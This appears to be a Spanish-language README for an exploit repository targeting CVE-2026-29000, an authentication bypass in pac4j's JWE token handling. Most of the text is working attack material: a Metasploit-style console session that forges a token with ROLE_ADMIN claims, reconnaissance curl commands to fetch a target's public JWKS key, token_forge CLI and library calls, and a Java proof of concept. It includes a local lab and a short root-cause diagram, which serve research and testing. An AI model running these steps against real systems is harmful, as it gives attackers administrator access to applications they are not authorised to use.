CVE-2026-29000/
├── lab/                        # Objetivo – App Flask (NexusBank Employee Portal)
│   ├── app.py                  # Aplicación principal vulnerable
│   ├── Dockerfile              # Flag incrustado en /flag.txt durante el build
│   └── requirements.txt
│
├── token_forge/                # Librería Python para generar tokens JWE falsificados
│   ├── forge.py                # forge_token()
│   ├── jwe_builder.py
│   ├── keys.py
│   ├── claims.py
│   └── cli.py                  # CLI: python -m token_forge
│
├── scripts/
│   └── exploit.py              # Consola de explotación interactiva (estilo Metasploit)
│
├── poc/                        # PoC Java – confirma el bypass in-process
│   ├── src/main/java/Poc.java
│   └── pom.xml
│
├── tests/
├── docker-compose.yml
└── requirements.txt

git clone https://github.com/kernelzeroday/CVE-2026-29000.git
cd CVE-2026-29000

# Linux / macOS
python -m venv .venv && source .venv/bin/activate

# Windows
python -m venv .venv && .venv\Scripts\activate

pip install -r requirements.txt

docker compose up -d lab

curl -sI http://localhost:8080 | grep X-Powered-By
# X-Powered-By: pac4j/6.0.3

docker compose down

python scripts/exploit.py

# O preconfigurado desde la línea de comandos:
python scripts/exploit.py --rhost 192.168.1.31 --rport 8080

jwe-bypass > set RHOST 192.168.1.31
[+] RHOST => 192.168.1.31

jwe-bypass > check
[*] Checking http://192.168.1.31:8080 ...
[+] HTTP 200
[+] X-Powered-By: pac4j/6.0.3
[+] Target appears VULNERABLE (pac4j detected)

jwe-bypass > set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
[+] PUBKEY => http://192.168.1.31:8080/.well-known/jwks.json

jwe-bypass > run

[1/3] Loading RSA public key ...
[+] Public key loaded
[2/3] Forging JWE token (CVE-2026-29000) ...
[+] Token forged (606 chars)
[3/3] Verifying auth bypass on /api/profile ...
[+] Authenticated as: pwned   roles: ['ROLE_ADMIN']

  Auth bypass successful!

  Open in your browser:

  http://192.168.1.31:8080/admin?token=eyJ...

# 1. URL JWKS — se obtiene automáticamente (recomendado)
set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json

# 2. Archivo descargado previamente
set PUBKEY /tmp/key.json

# 3. Pegar directamente el JSON crudo
set PUBKEY {"kty":"RSA","n":"...","e":"AQAB"}

# Detectar el framework mediante la cabecera de respuesta
curl -sI http://TARGET:8080

# Buscar endpoints ocultos
curl -s http://TARGET:8080/robots.txt

# RFC 8414: pac4j siempre expone este endpoint
curl -s http://TARGET:8080/.well-known/openid-configuration

# Obtener la clave pública RSA desde jwks_uri
curl -s http://TARGET:8080/.well-known/jwks.json

python -m token_forge \
  --jwks-url http://TARGET:8080/.well-known/jwks.json \
  --subject attacker \
  --roles ROLE_ADMIN

TOKEN=$(python -m token_forge \
  --jwks-url http://TARGET:8080/.well-known/jwks.json \
  --roles ROLE_ADMIN 2>/dev/null)

# Confirmar el bypass
curl -s -H "Authorization: Bearer $TOKEN" http://TARGET:8080/api/profile

# Abrir el panel de administración en el navegador
echo "http://TARGET:8080/admin?token=$TOKEN"

from token_forge import forge_token, load_public_key_from_jwks_url

key   = load_public_key_from_jwks_url("http://TARGET:8080/.well-known/jwks.json")
token = forge_token(key, subject="attacker", roles=["ROLE_ADMIN"], exp_sec=3600)
print(token)

cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# [BYPASS] Authenticated as: admin#override
# [BYPASS] Roles: [ROLE_ADMIN, ROLE_SUPERUSER]

# Solo imprimir el token
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"

pytest tests/ -v

# Con informe de cobertura
pytest tests/ -v --cov=token_forge --cov-report=term-missing

JWE decrypt → obtener payload → base64decode → json.loads → confiar en los claims
                                         ↑ falta el paso de verificación de firma del JWT interno